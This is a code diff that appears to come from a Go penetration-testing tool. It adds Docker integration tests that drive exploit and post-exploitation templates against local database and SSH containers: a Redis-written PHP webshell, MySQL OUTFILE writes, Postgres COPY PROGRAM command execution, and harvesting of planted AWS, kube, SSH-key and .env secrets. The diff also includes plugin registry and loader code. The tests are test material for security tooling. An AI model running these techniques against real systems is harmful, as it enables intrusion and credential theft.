[]string `json:"extract_result"` +} + +type dockerEnv struct { + repoRoot string + fixture string + compose string + templates string + templatesExt string + outDir string +} + +func TestServiceTemplateDocker(t *testing.T) { + if _, err := exec.LookPath("docker"); err != nil { + t.Skipf("docker not found: %v", err) + } + if out, err := runCmdWithTimeout("", probeTimeout, "docker", "version"); err != nil { + t.Skipf("docker is not available: %v\n%s", err, out) + } + + env := newDockerEnv(t) + t.Cleanup(func() { + _ = os.RemoveAll(env.outDir) + _, _ = runCmdWithTimeout(env.repoRoot, cleanupTimeout, "docker", "compose", "-f", env.compose, "down", "-v") + }) + + t.Run("Smoke", func(t *testing.T) { + env.smoke(t) + }) + t.Run("Payload", func(t *testing.T) { + env.payload(t) + }) + t.Run("PostExploit", func(t *testing.T) { + env.postExploit(t) + }) + t.Run("Existing", func(t *testing.T) { + if _, err := os.Stat(env.templatesExt); err != nil { + t.Skipf("external proton templates not found: %v", err) + } + env.existing(t) + }) + t.Run("Exploit", func(t *testing.T) { + env.exploit(t) + }) +} + +func newDockerEnv(t *testing.T) *dockerEnv { + t.Helper() + _, file, _, ok := runtime.Caller(0) + if !ok { + t.Fatal("resolve caller") + } + repoRoot := filepath.Clean(filepath.Join(filepath.Dir(file), "..")) + fixture := filepath.Join(repoRoot, "testdata", "service-template") + templatesExt := os.Getenv("ZOMBIE_SERVICE_TEMPLATES_DIR") + if templatesExt == "" { + templatesExt = filepath.Join(repoRoot, "..", "proton", "templates", "services") + } + outDir := filepath.Join(fixture, "out") + if err := os.RemoveAll(outDir); err != nil { + t.Fatalf("clean output dir: %v", err) + } + if err := os.MkdirAll(outDir, 0755); err != nil { + t.Fatalf("create output dir: %v", err) + } + return &dockerEnv{ + repoRoot: repoRoot, + fixture: fixture, + compose: filepath.Join(fixture, "compose.yaml"), + templates: filepath.Join(fixture, "templates"), + templatesExt: filepath.Clean(templatesExt), + outDir: outDir, + } +} + +func (e *dockerEnv) smoke(t *testing.T) { + e.composeUp(t, "redis", "postgres", "mysql", "ssh") + waitTCP(t, "127.0.0.1:16379") + waitTCP(t, "127.0.0.1:15432") + waitTCP(t, "127.0.0.1:13306") + waitTCP(t, "127.0.0.1:10022") + e.initRedis(t) + + out := e.out(t, "smoke") + tmpl := filepath.Join(e.templates, "smoke") + assertExtraction(t, e.runZombie(t, out, "redis", "redis://:zombie_redis_pass@127.0.0.1:16379", tmpl), "local-redis-smoke:redis_value", "zombie-template-ok") + assertExtraction(t, e.runZombie(t, out, "postgres", "postgresql://zombie:zombie_pg_pass@127.0.0.1:15432", tmpl), "local-postgres-smoke:postgres_marker", "zombie-postgres-ok") + assertExtraction(t, e.runZombie(t, out, "mysql", "mysql://zombie:zombie_mysql_pass@127.0.0.1:13306", tmpl), "local-mysql-smoke:mysql_marker", "zombie-mysql-ok") + assertExtraction(t, e.runZombie(t, out, "ssh", "ssh://zombie:zombie_ssh_pass@127.0.0.1:10022", tmpl), "local-ssh-smoke:ssh_marker", "zombie-ssh-ok") +} + +func (e *dockerEnv) payload(t *testing.T) { + e.composeUp(t, "redis") + e.container(t, "redis", "REDISCLI_AUTH=zombie_redis_pass redis-cli DEL zombie:payload:cli-a zombie:payload:cli-b >/dev/null") + + result := e.runZombie( + t, + e.out(t, "payload"), + "redis-payload-cli", + "redis://:zombie_redis_pass@127.0.0.1:16379", + filepath.Join(e.templates, "payload", "redis-payload-cli.yaml"), + "--payload", "payload_key=zombie:payload:cli-a", + "--payload", "payload_key=zombie:payload:cli-b", + ) + assertExtractionCount(t, result, "local-redis-payload-cli:redis_payload_value", "payload-cli-ok", 2) + e.container(t, "redis", ` +REDISCLI_AUTH=zombie_redis_pass redis-cli GET zombie:payload:cli-a | grep -Fx payload-cli-ok && +REDISCLI_AUTH=zombie_redis_pass redis-cli GET zombie:payload:cli-b | grep -Fx payload-cli-ok +`) +} + +func (e *dockerEnv) postExploit(t *testing.T) { + e.composeUp(t, "redis", "postgres", "mysql", "ssh") + e.initRedis(t) + e.container(t, "redis", "rm -f /tmp/zombie_redis_post_exploit.rdb") + e.container(t, "mysql", "rm -f /tmp/zombie_mysql_post_exploit.txt") + e.container(t, "postgres", `rm -f /tmp/zombie_pg_post_exploit.txt +psql -U zombie -d postgres -c "DROP TABLE IF EXISTS zombie_post_exploit;"`) + e.container(t, "ssh", ` +mkdir -p /home/zombie/app /home/zombie/.aws /home/zombie/.kube /home/zombie/.ssh +echo 'APP_SECRET=zombie-env-secret' > /home/zombie/app/.env +printf '[default]\naws_access_key_id = AKIAZOMBIETEST\naws_secret_access_key = zombie\n' > /home/zombie/.aws/credentials +printf 'apiVersion: v1\nclusters:\n- cluster:\n server: https://kube.local\n' > /home/zombie/.kube/config +printf '%s\n' '-----BEGIN OPENSSH PRIVATE KEY-----' 'zombie-test-key' '-----END OPENSSH PRIVATE KEY-----' > /home/zombie/.ssh/id_rsa +rm -f /tmp/zombie_ssh_post_exploit.txt +chown -R zombie:zombie /home/zombie +`) + + out := e.out(t, "post-exploit") + dir := filepath.Join(e.templates, "post-exploit") + result := e.runZombie(t, out, "redis-post-exploit", "redis://:zombie_redis_pass@127.0.0.1:16379", filepath.Join(dir, "redis-post-exploit-local.yaml")) + assertExtraction(t, result, "local-redis-post-exploit:redis_sensitive_value", "zombie-secret-pass") + assertExtraction(t, result, "local-redis-post-exploit:redis_file_write_result", "OK") + e.container(t, "redis", "test -f /tmp/zombie_redis_post_exploit.rdb && grep -aF zombie-redis-post-exploit /tmp/zombie_redis_post_exploit.rdb") + + result = e.runZombie(t, out, "mysql-post-exploit", "mysql://root:zombie_mysql_root@127.0.0.1:13306", filepath.Join(dir, "mysql-post-exploit-local.yaml")) + assertExtraction(t, result, "local-mysql-post-exploit:mysql_app_credential", "demo:token") + assertExtraction(t, result, "local-mysql-post-exploit:mysql_passwd_root", "root:") + assertExtraction(t, result, "local-mysql-post-exploit:mysql_outfile_content", "zombie-mysql-post-exploit") + e.container(t, "mysql", "test -f /tmp/zombie_mysql_post_exploit.txt && grep -F zombie-mysql-post-exploit /tmp/zombie_mysql_post_exploit.txt") + + result = e.runZombie(t, out, "postgres-post-exploit", "postgresql://zombie:zombie_pg_pass@127.0.0.1:15432", filepath.Join(dir, "postgres-post-exploit-local.yaml")) + assertExtraction(t, result, "local-postgres-post-exploit:pg_passwd_root", "root:") + assertExtraction(t, result, "local-postgres-post-exploit:pg_program_output", "zombie-pg-post-exploit") + e.container(t, "postgres", "test -f /tmp/zombie_pg_post_exploit.txt && grep -F zombie-pg-post-exploit /tmp/zombie_pg_post_exploit.txt") + + result = e.runZombie(t, out, "ssh-post-exploit", "ssh://zombie:zombie_ssh_pass@127.0.0.1:10022", filepath.Join(dir, "ssh-post-exploit-local.yaml")) + assertExtraction(t, result, "local-ssh-post-exploit:ssh_username", "zombie") + assertExtraction(t, result, "local-ssh-post-exploit:ssh_file_write", "zombie-ssh-post-exploit") + assertExtraction(t, result, "local-ssh-post-exploit:ssh_env_secret", "zombie-env-secret") + assertExtraction(t, result, "local-ssh-post-exploit:ssh_aws_credentials_path", ".aws/credentials") + e.container(t, "ssh", "test -f /tmp/zombie_ssh_post_exploit.txt && grep -F zombie-ssh-post-exploit /tmp/zombie_ssh_post_exploit.txt") +} + +func (e *dockerEnv) existing(t *testing.T) { + e.composeUp(t, "redis", "postgres", "mysql", "ssh") + e.initExistingData(t) + + out := e.out(t, "existing") + cases := []struct { + name string + target string + template string + expectName string + contains string + }{ + {"redis-info-gather", "redis://:zombie_redis_pass@127.0.0.1:16379", "redis/redis-info-gather.yaml", "redis-info-gather:redis_version", ""}, + {"redis-config-check", "redis://:zombie_redis_pass@127.0.0.1:16379", "redis/redis-config-check.yaml", "redis-config-check:redis_dir", "/var/www"}, + {"redis-sensitive-keys", "redis://:zombie_redis_pass@127.0.0.1:16379", "redis/redis-sensitive-keys.yaml", "redis-sensitive-keys:sensitive_keys", "app:password"}, + {"redis-mdut-rogue-prereq-check", "redis://:zombie_redis_pass@127.0.0.1:16379", "redis/redis-mdut-rogue-prereq-check.yaml", "redis-mdut-rogue-prereq-check:redis_replica_read_only", "yes"}, + {"postgresql-info-gather", "postgresql://zombie:zombie_pg_pass@127.0.0.1:15432", "postgresql/postgresql-info-gather.yaml", "postgresql-info-gather:pg_version", ""}, + {"postgresql-mdut-capability-check", "postgresql://zombie:zombie_pg_pass@127.0.0.1:15432", "postgresql/postgresql-mdut-capability-check.yaml", "postgresql-mdut-capability-check:pg_copy_program", "yes"}, + {"mysql-info-gather", "mysql://zombie:zombie_mysql_pass@127.0.0.1:13306", "mysql/mysql-info-gather.yaml", "mysql-info-gather:mysql_version", ""}, + {"mysql-credential-columns", "mysql://zombie:zombie_mysql_pass@127.0.0.1:13306", "mysql/mysql-credential-columns.yaml", "mysql-credential-columns:found_columns", "app_credentials"}, + {"mysql-user-enum", "mysql://root:zombie_mysql_root@127.0.0.1:13306", "mysql/mysql-user-enum.yaml", "mysql-user-enum:mysql_users", "root"}, + {"mysql-udf-check", "mysql://root:zombie_mysql_root@127.0.0.1:13306", "mysql/mysql-udf-check.yaml", "mysql-udf-check:mysql_plugin_dir", ""}, + {"mysql-mdut-capability-check", "mysql://root:zombie_mysql_root@127.0.0.1:13306", "mysql/mysql-mdut-capability-check.yaml", "mysql-mdut-capability-check:mysql_file_privilege", "yes"}, + {"ssh-info-gather", "ssh://zombie:zombie_ssh_pass@127.0.0.1:10022", "ssh/ssh-info-gather.yaml", "ssh-info-gather-linux:username", ""}, + {"ssh-env-files", "ssh://zombie:zombie_ssh_pass@127.0.0.1:10022", "ssh/ssh-env-files.yaml", "ssh-env-files:env_files", "/home/zombie/app/.env"}, + {"ssh-credential-files", "ssh://zombie:zombie_ssh_pass@127.0.0.1:10022", "ssh/ssh-credential-files.yaml", "ssh-credential-files-linux:aws_key", "AKIAZOMBIETEST"}, + {"ssh-docker-escape", "ssh://zombie:zombie_ssh_pass@127.0.0.1:10022", "ssh/ssh-docker-escape.yaml", "ssh-docker-escape:cap_flags", ""}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + result := e.runZombie(t, out, tc.name, tc.target, filepath.Join(e.templatesExt, filepath.FromSlash(tc.template))) + assertExtraction(t, result, tc.expectName, tc.contains) + }) + } +} + +func (e *dockerEnv) exploit(t *testing.T) { + e.composeUp(t, "redis", "postgres", "mysql") + e.container(t, "redis", `mkdir -p /var/www/html && +chmod 777 /var/www/html && +rm -f /var/www/html/shell.php`) + e.container(t, "mysql", "rm -f /tmp/zombie_mysql_outfile.txt") + e.container(t, "postgres", `rm -f /tmp/zombie_pg_cmd.txt +psql -U zombie -d postgres -c "DROP TABLE IF EXISTS zombie_cmd_exec;"`) + + out := e.out(t, "exploit") + dir := filepath.Join(e.templates, "exploit") + result := e.runZombie(t, out, "redis-write-webshell-local", "redis://:zombie_redis_pass@127.0.0.1:16379", filepath.Join(dir, "redis-write-webshell-local.yaml")) + assertExtraction(t, result, "local-redis-write-webshell:redis_webshell_written", "OK") + e.container(t, "redis", "test -f /var/www/html/shell.php && grep -aF '' /var/www/html/shell.php") + + result = e.runZombie(t, out, "mysql-outfile-local", "mysql://root:zombie_mysql_root@127.0.0.1:13306", filepath.Join(dir, "mysql-outfile-local.yaml")) + assertExtraction(t, result, "local-mysql-outfile-write:mysql_outfile_content", "zombie-mysql-outfile-ok") + e.container(t, "mysql", "test -f /tmp/zombie_mysql_outfile.txt && grep -F zombie-mysql-outfile-ok /tmp/zombie_mysql_outfile.txt") + + result = e.runZombie(t, out, "postgres-copy-program-local", "postgresql://zombie:zombie_pg_pass@127.0.0.1:15432", filepath.Join(dir, "postgres-copy-program-local.yaml")) + assertExtraction(t, result, "local-postgres-copy-program:pg_program_output", "uid=") + e.container(t, "postgres", "test -f /tmp/zombie_pg_cmd.txt && grep -F uid= /tmp/zombie_pg_cmd.txt") +} + +func (e *dockerEnv) composeUp(t *testing.T, services ...string) { + t.Helper() + args := []string{"compose", "-f", e.compose, "up", "-d", "--wait", "--wait-timeout", "180", "--build"} + args = append(args, services...) + run(t, e.repoRoot, "docker", args...) +} + +func (e *dockerEnv) container(t *testing.T, service, command string) { + t.Helper() + run(t, e.repoRoot, "docker", "compose", "-f", e.compose, "exec", "-T", service, "sh", "-lc", command) +} + +func (e *dockerEnv) initRedis(t *testing.T) { + t.Helper() + run(t, e.repoRoot, "docker", "compose", "-f", e.compose, "run", "--rm", "redis-init") +} + +func (e *dockerEnv) initExistingData(t *testing.T) { + t.Helper() + e.initRedis(t) + run(t, e.repoRoot, "docker", "compose", "-f", e.compose, "exec", "-T", "mysql", "mysql", "-uroot", "-pzombie_mysql_root", "zombie", "-e", ` +CREATE TABLE IF NOT EXISTS app_credentials ( + id INT PRIMARY KEY, + username VARCHAR(64) NOT NULL, + password_hash VARCHAR(128) NOT NULL, + api_token VARCHAR(128) NOT NULL +); +INSERT IGNORE INTO app_credentials (id, username, password_hash, api_token) +VALUES (1, 'demo', 'hash', 'token'); +`) + e.container(t, "ssh", ` +mkdir -p /opt /srv /var/www /home/zombie/app /home/zombie/.aws /home/zombie/.kube /home/zombie/.ssh +echo 'APP_SECRET=zombie-env-secret' > /home/zombie/app/.env +printf '[default]\naws_access_key_id = AKIAZOMBIETEST\naws_secret_access_key = zombie\n' > /home/zombie/.aws/credentials +printf 'apiVersion: v1\nclusters:\n- cluster:\n server: https://kube.local\n' > /home/zombie/.kube/config +printf '%s\n' '-----BEGIN OPENSSH PRIVATE KEY-----' 'zombie-test-key' '-----END OPENSSH PRIVATE KEY-----' > /home/zombie/.ssh/id_rsa +chown -R zombie:zombie /home/zombie +`) +} + +func (e *dockerEnv) runZombie(t *testing.T, outDir, name, target, template string, extraArgs ...string) zombieResult { + t.Helper() + outFile := filepath.Join(outDir, name+".json") + args := []string{ + "run", ".", + "-i", target, + "--no-honeypot", + "--no-unauth", + "--service-template", template, + "--timeout", "10", + } + args = append(args, extraArgs...) + args = append(args, "-f", outFile, "-O", "json", "-o", "full") + run(t, e.repoRoot, "go", args...) + + raw, err := os.ReadFile(outFile) + if err != nil { + t.Fatalf("%s output file: %v", name, err) + } + var result zombieResult + if err := json.Unmarshal(raw, &result); err != nil { + t.Fatalf("%s output json: %v\n%s", name, err, raw) + } + return result +} + +func (e *dockerEnv) out(t *testing.T, name string) string { + t.Helper() + dir := filepath.Join(e.outDir, name) + if err := os.MkdirAll(dir, 0755); err != nil { + t.Fatalf("create output dir %s: %v", name, err) + } + return dir +} + +func assertExtraction(t *testing.T, result zombieResult, name, contains string) { + t.Helper() + assertExtractionCount(t, result, name, contains, 1) +} + +func assertExtractionCount(t *testing.T, result zombieResult, name, contains string, minCount int) { + t.Helper() + count := 0 + for _, item := range result.Extracteds { + if item.Name != name { + continue + } + if contains == "" && len(item.ExtractResult) > 0 { + count += len(item.ExtractResult) + continue + } + for _, value := range item.ExtractResult { + if strings.Contains(value, contains) { + count++ + } + } + } + if count < minCount { + b, _ := json.MarshalIndent(result, "", " ") + t.Fatalf("expected extraction %s containing %q at least %d time(s), got %d\n%s", name, contains, minCount, count, b) + } +} + +func waitTCP(t *testing.T, address string) { + t.Helper() + deadline := time.Now().Add(120 * time.Second) + for time.Now().Before(deadline) { + conn, err := net.DialTimeout("tcp", address, time.Second) + if err == nil { + _ = conn.Close() + return + } + time.Sleep(time.Second) + } + t.Fatalf("%s did not open in time", address) +} + +func run(t *testing.T, dir, name string, args ...string) string { + t.Helper() + out, err := runCmd(dir, name, args...) + if err != nil { + t.Fatalf("%s %s failed: %v\n%s", name, strings.Join(args, " "), err, out) + } + return out +} + +func runCmd(dir, name string, args ...string) (string, error) { + return runCmdWithTimeout(dir, commandTimeout, name, args...) +} + +func runCmdWithTimeout(dir string, timeout time.Duration, name string, args ...string) (string, error) { + ctx, cancel := context.WithTimeout(context.Background(), timeout) + defer cancel() + + cmd := exec.CommandContext(ctx, name, args...) + cmd.Dir = dir + out, err := cmd.CombinedOutput() + if ctx.Err() == context.DeadlineExceeded { + return string(out), fmt.Errorf("%s %s timed out after %s", name, strings.Join(args, " "), timeout) + } + if err != nil { + return string(out), fmt.Errorf("%w", err) + } + if len(out) > 0 && strings.Contains(string(out), "error during connect") { + return string(out), errors.New("docker connection failed") + } + return string(out), nil +} diff --git a/internal/plugins/plugins.go b/internal/plugins/plugins.go new file mode 100644 index 0000000..96b706e --- /dev/null +++ b/internal/plugins/plugins.go @@ -0,0 +1,88 @@ +// Package plugins assembles the protocol drivers bundled with Zombie. +package plugins + +import ( + "github.com/chainreactors/zombie/pkg" + "github.com/chainreactors/zombie/plugin" + "github.com/chainreactors/zombie/plugin/ftp" + httpplugin "github.com/chainreactors/zombie/plugin/http" + "github.com/chainreactors/zombie/plugin/ldap" + "github.com/chainreactors/zombie/plugin/memcache" + "github.com/chainreactors/zombie/plugin/mongo" + "github.com/chainreactors/zombie/plugin/mq" + "github.com/chainreactors/zombie/plugin/mssql" + "github.com/chainreactors/zombie/plugin/mysql" + "github.com/chainreactors/zombie/plugin/neutron" + "github.com/chainreactors/zombie/plugin/oracle" + "github.com/chainreactors/zombie/plugin/pop3" + "github.com/chainreactors/zombie/plugin/postgre" + "github.com/chainreactors/zombie/plugin/rdp" + "github.com/chainreactors/zombie/plugin/redis" + "github.com/chainreactors/zombie/plugin/rsync" + "github.com/chainreactors/zombie/plugin/smb" + "github.com/chainreactors/zombie/plugin/snmp" + "github.com/chainreactors/zombie/plugin/socks5" + "github.com/chainreactors/zombie/plugin/ssh" + "github.com/chainreactors/zombie/plugin/vnc" + "github.com/chainreactors/zombie/plugin/zookeeper" +) + +type builtin struct { + service pkg.Service + plugin plugin.Plugin +} + +var bundled = []builtin{ + {pkg.Service{Name: "ftp", DefaultPort: "21"}, &ftp.FtpPlugin{}}, + {pkg.Service{Name: "http", DefaultPort: "80"}, &httpplugin.HttpAuthPlugin{}}, + {pkg.Service{Name: "https", DefaultPort: "443"}, &httpplugin.HttpAuthPlugin{}}, + {pkg.Service{Name: "get", DefaultPort: "80"}, httpplugin.NewHTTPPlugin("GET")}, + {pkg.Service{Name: "post", DefaultPort: "80"}, httpplugin.NewHTTPPlugin("POST")}, + {pkg.Service{Name: "http_proxy", DefaultPort: "8080"}, &httpplugin.HTTPProxyPlugin{}}, + {pkg.Service{Name: "digest", DefaultPort: "80"}, &httpplugin.HTTPDigestPlugin{}}, + {pkg.Service{Name: "ldap", DefaultPort: "389"}, &ldap.LdapPlugin{}}, + {pkg.Service{Name: "memcached", DefaultPort: "11211"}, &memcache.MemcachePlugin{}}, + {pkg.Service{Name: "mongo", Alias: []string{"mongodb"}, DefaultPort: "27017"}, &mongo.MongoPlugin{}}, + {pkg.Service{Name: "amqp", DefaultPort: "5672"}, &mq.AMQPPlugin{}}, + {pkg.Service{Name: "mqtt", DefaultPort: "1883"}, &mq.MQTTPlugin{}}, + {pkg.Service{Name: "mssql", DefaultPort: "1433"}, &mssql.MssqlPlugin{}}, + {pkg.Service{Name: "mysql", DefaultPort: "3306"}, &mysql.MysqlPlugin{}}, + {pkg.Service{Name: "oracle", DefaultPort: "1521"}, &oracle.OraclePlugin{}}, + {pkg.Service{Name: "pop3", Alias: []string{"pop"}, DefaultPort: "110"}, &pop3.Pop3Plugin{}}, + {pkg.Service{Name: "postgresql", Alias: []string{"postgre"}, DefaultPort: "5432"}, &postgre.PostgresPlugin{}}, + {pkg.Service{Name: "rdp", DefaultPort: "3389"}, &rdp.RdpPlugin{}}, + {pkg.Service{Name: "redis", DefaultPort: "6379"}, &redis.RedisPlugin{}}, + {pkg.Service{Name: "rsync", DefaultPort: "873"}, &rsync.RsyncPlugin{}}, + {pkg.Service{Name: "smb", DefaultPort: "445"}, &smb.SmbPlugin{}}, + {pkg.Service{Name: "snmp", DefaultPort: "161"}, &snmp.SnmpPlugin{}}, + {pkg.Service{Name: "socks5", DefaultPort: "1080"}, &socks5.Socks5Plugin{}}, + {pkg.Service{Name: "ssh", DefaultPort: "22"}, &ssh.SshPlugin{}}, + {pkg.Service{Name: "vnc", DefaultPort: "5900"}, &vnc.VNCPlugin{}}, + {pkg.Service{Name: "zookeeper", DefaultPort: "2181"}, &zookeeper.ZookeeperPlugin{}}, +} + +func RegisterServices() { + for _, entry := range bundled { + service := entry.service + if service.Source == "" { + service.Source = pkg.PluginSource + } + pkg.Services.Register(&service) + } +} + +func Default() map[string]plugin.Plugin { + RegisterServices() + registry := make(map[string]plugin.Plugin, len(bundled)) + for _, entry := range bundled { + registry[entry.service.Name] = entry.plugin + for _, alias := range entry.service.Alias { + registry[alias] = entry.plugin + } + } + return registry +} + +func Fallback() plugin.Plugin { + return &neutron.NeutronPlugin{} +} diff --git a/pkg/action.go b/pkg/action.go new file mode 100644 index 0000000..2a49f70 --- /dev/null +++ b/pkg/action.go @@ -0,0 +1,16 @@ +package pkg + +import ( + "github.com/chainreactors/fingers/common" + "github.com/chainreactors/utils/parsers" +) + +type ActionResult struct { + Extracteds parsers.Extracteds + Vulns common.Vulns + Loot map[string][]byte +} +type Action interface { + Name() string + Run(session Session, task *Task) (*ActionResult, error) +} diff --git a/pkg/bar.go b/pkg/bar.go index 9bb978f..676acaa 100644 --- a/pkg/bar.go +++ b/pkg/bar.go @@ -1,78 +1,78 @@ -//go:build go1.18 -// +build go1.18 - -package pkg - -import ( - "fmt" - "github.com/chainreactors/logs" - "github.com/vbauerster/mpb/v8" - "github.com/vbauerster/mpb/v8/decor" - "os" - "time" -) - -var Progress *mpb.Progress - -func InitBar() { - Progress = mpb.New( - mpb.WithRefreshRate(200*time.Millisecond), - mpb.WithOutput(os.Stdout), - ) - logs.Log.SetOutput(Progress) -} - -func NewBar(u string, total int, stat *Statistor) *Bar { - if Progress == nil { - return &Bar{ - url: u, - } - } - bar := Progress.AddBar(int64(total), - mpb.BarRemoveOnComplete(), - mpb.PrependDecorators( - decor.Name(u, decor.WC{W: len(u) + 1, C: decor.DindentRight}), // 这里调整了装饰器的参数 - decor.NewAverageSpeed(0, "% .0f/s ", time.Now()), - decor.Counters(0, "%d/%d"), - decor.Any(func(s decor.Statistics) string { - return fmt.Sprintf(" %s", stat.Cur) - }), - ), - mpb.AppendDecorators( - decor.Any(func(s decor.Statistics) string { - return fmt.Sprintf("tasks: %d ", stat.Total) - }), - decor.Percentage(), - decor.Elapsed(decor.ET_STYLE_GO, decor.WC{W: 4}), - ), - ) - - return &Bar{ - url: u, - bar: bar, - //m: m, - } -} - -type Bar struct { - url string - bar *mpb.Bar - //m metrics.Meter -} - -func (bar *Bar) Done() { - //bar.m.Mark(1) - if bar.bar == nil { - return - } - bar.bar.Increment() -} - -func (bar *Bar) Close() { - //metrics.Unregister(bar.url) - // 标记进度条为完成状态 - if bar.bar == nil { - return - } - bar.bar.Abort(false) -} +//go:build go1.18 +// +build go1.18 + +package pkg + +import ( + "fmt" + "github.com/chainreactors/logs" + "github.com/vbauerster/mpb/v8" + "github.com/vbauerster/mpb/v8/decor" + "os" + "time" +) + +var Progress *mpb.Progress + +func InitBar() { + Progress = mpb.New( + mpb.WithRefreshRate(200*time.Millisecond), + mpb.WithOutput(os.Stdout), + ) + logs.Log.SetOutput(Progress) +} + +func NewBar(u string, total int, stat *Statistor) *Bar { + if Progress == nil { + return &Bar{ + url: u, + } + } + bar := Progress.AddBar(int64(total), + mpb.BarRemoveOnComplete(), + mpb.PrependDecorators( + decor.Name(u, decor.WC{W: len(u) + 1, C: decor.DindentRight}), // 这里调整了装饰器的参数 + decor.NewAverageSpeed(0, "% .0f/s ", time.Now()), + decor.Counters(0, "%d/%d"), + decor.Any(func(s decor.Statistics) string { + return fmt.Sprintf(" %s", stat.Current()) + }), + ), + mpb.AppendDecorators( + decor.Any(func(s decor.Statistics) string { + return fmt.Sprintf("tasks: %d ", stat.TotalCount()) + }), + decor.Percentage(), + decor.Elapsed(decor.ET_STYLE_GO, decor.WC{W: 4}), + ), + ) + + return &Bar{ + url: u, + bar: bar, + //m: m, + } +} + +type Bar struct { + url string + bar *mpb.Bar + //m metrics.Meter +} + +func (bar *Bar) Done() { + //bar.m.Mark(1) + if bar.bar == nil { + return + } + bar.bar.Increment() +} + +func (bar *Bar) Close() { + //metrics.Unregister(bar.url) + // 标记进度条为完成状态 + if bar.bar == nil { + return + } + bar.bar.Abort(false) +} diff --git a/pkg/data/port.bin b/pkg/data/port.bin index d44c513..5fb2633 100644 Binary files a/pkg/data/port.bin and b/pkg/data/port.bin differ diff --git a/pkg/data/zombie_audit.bin b/pkg/data/zombie_audit.bin new file mode 100644 index 0000000..327da54 Binary files /dev/null and b/pkg/data/zombie_audit.bin differ diff --git a/pkg/data/zombie_common.bin b/pkg/data/zombie_common.bin index f295f32..3a62fc4 100644 Binary files a/pkg/data/zombie_common.bin and b/pkg/data/zombie_common.bin differ diff --git a/pkg/data/zombie_default.bin b/pkg/data/zombie_default.bin index 13f0815..7d9463b 100644 Binary files a/pkg/data/zombie_default.bin and b/pkg/data/zombie_default.bin differ diff --git a/pkg/data/zombie_loot.bin b/pkg/data/zombie_loot.bin new file mode 100644 index 0000000..97a93a7 Binary files /dev/null and b/pkg/data/zombie_loot.bin differ diff --git a/pkg/data/zombie_rule.bin b/pkg/data/zombie_rule.bin index c480394..3706fe4 100644 Binary files a/pkg/data/zombie_rule.bin and b/pkg/data/zombie_rule.bin differ diff --git a/pkg/data/zombie_service.bin b/pkg/data/zombie_service.bin new file mode 100644 index 0000000..f90f774 Binary files /dev/null and b/pkg/data/zombie_service.bin differ diff --git a/pkg/data/zombie_template.bin b/pkg/data/zombie_template.bin index d4bf28e..f566e43 100644 Binary files a/pkg/data/zombie_template.bin and b/pkg/data/zombie_template.bin differ diff --git a/pkg/loader.go b/pkg/loader.go index f556a42..df13f4e 100644 --- a/pkg/loader.go +++ b/pkg/loader.go @@ -2,9 +2,8 @@ package pkg import ( "github.com/chainreactors/fingers/fingers" - "github.com/chainreactors/fingers/resources" templates "github.com/chainreactors/neutron/templates" - "github.com/chainreactors/parsers" + "github.com/chainreactors/utils/parsers" "github.com/chainreactors/utils" "github.com/chainreactors/utils/iutils" "github.com/chainreactors/words/mask" @@ -13,39 +12,18 @@ import ( ) var ( - Rules map[string]string = make(map[string]string) - Keywords map[string][]string = make(map[string][]string) - TemplateMap map[string]*templates.Template = make(map[string]*templates.Template) - FingersEngine *fingers.FingersEngine + Rules map[string]string = make(map[string]string) + Keywords map[string][]string = make(map[string][]string) + TemplateMap map[string]*templates.Template = make(map[string]*templates.Template) + ServiceTemplateData []byte + LootTemplateData []byte + FingersEngine *fingers.FingersEngine + PortPreset *utils.PortPreset + portConfigData []byte ) func Load() error { - var err error - err = LoadPorts() - if err != nil { - return err - } - - err = LoadKeyword() - if err != nil { - return err - } - - err = LoadRules() - if err != nil { - return err - } - - err = LoadTemplates() - if err != nil { - return err - } - - err = LoadFingers() - if err != nil { - return err - } - return err + return LoadResources() } func LoadKeyword() error { @@ -113,11 +91,10 @@ func LoadTemplates() error { if template.Info.Zombie == "" { continue } - Services.Register(&Service{Name: template.Info.Zombie, Source: NeutronSource}) - err := template.Compile(nil) - if err != nil { - return err + if err := template.Compile(nil); err != nil { + continue } + Services.Register(&Service{Name: template.Info.Zombie, Source: NeutronSource}) TemplateMap[template.Info.Zombie] = template // load gogo_finger-zombie-service map @@ -134,23 +111,50 @@ func LoadTemplates() error { return nil } +func LoadServiceTemplates() error { + ServiceTemplateData = LoadConfig("zombie_service") + return nil +} + +func LoadLootTemplates() error { + LootTemplateData = LoadConfig("zombie_loot") + return nil +} + +func LoadAuditConfig() error { + data := LoadConfig("zombie_audit") + if len(data) == 0 { + return nil + } + var cfg struct { + FieldPatterns []string `yaml:"field_patterns"` + } + if err := yaml.Unmarshal(data, &cfg); err != nil { + return err + } + if len(cfg.FieldPatterns) > 0 { + DefaultAuditPatterns = cfg.FieldPatterns + } + return nil +} + func LoadPorts() error { var ports []*utils.PortConfig content := LoadConfig("port") - resources.PortData = content + portConfigData = content err := yaml.Unmarshal(content, &ports) if err != nil { return err } - resources.PrePort = utils.NewPortPreset(ports) + PortPreset = utils.NewPortPreset(ports) return nil } func LoadFingers() error { - resources.FingersHTTPData = LoadConfig("http") - resources.FingersSocketData = LoadConfig("socket") - engine, err := fingers.NewFingersEngine(resources.FingersHTTPData, resources.FingersSocketData, resources.PortData) + httpData := LoadConfig("http") + socketData := LoadConfig("socket") + engine, err := fingers.NewFingersEngine(httpData, socketData, portConfigData) if err != nil { return err } diff --git a/pkg/loader_audit_test.go b/pkg/loader_audit_test.go new file mode 100644 index 0000000..f90ff35 --- /dev/null +++ b/pkg/loader_audit_test.go @@ -0,0 +1,18 @@ +package pkg + +import "testing" + +func TestEmbeddedAuditPatternsLoad(t *testing.T) { + data := LoadEmbeddedConfig("zombie_audit") + if len(data) == 0 { + t.Fatal("embedded zombie_audit config is empty") + } + + DefaultAuditPatterns = nil + if err := LoadAuditConfig(); err != nil { + t.Fatalf("LoadAuditConfig: %v", err) + } + if len(DefaultAuditPatterns) == 0 { + t.Fatal("audit patterns were not loaded") + } +} diff --git a/pkg/parse_method_test.go b/pkg/parse_method_test.go new file mode 100644 index 0000000..1ee94f9 --- /dev/null +++ b/pkg/parse_method_test.go @@ -0,0 +1,15 @@ +package pkg + +import "testing" + +func TestParseMethodUsesTaskRawMode(t *testing.T) { + method, value := ParseMethod("pk:key-data", false) + if method != "pk" || value != "key-data" { + t.Fatalf("parsed method = %q, value = %q", method, value) + } + + method, value = ParseMethod("pk:key-data", true) + if method != "" || value != "pk:key-data" { + t.Fatalf("raw method = %q, value = %q", method, value) + } +} diff --git a/pkg/proxy_test.go b/pkg/proxy_test.go index 13b15f5..a112fb8 100644 --- a/pkg/proxy_test.go +++ b/pkg/proxy_test.go @@ -10,7 +10,7 @@ 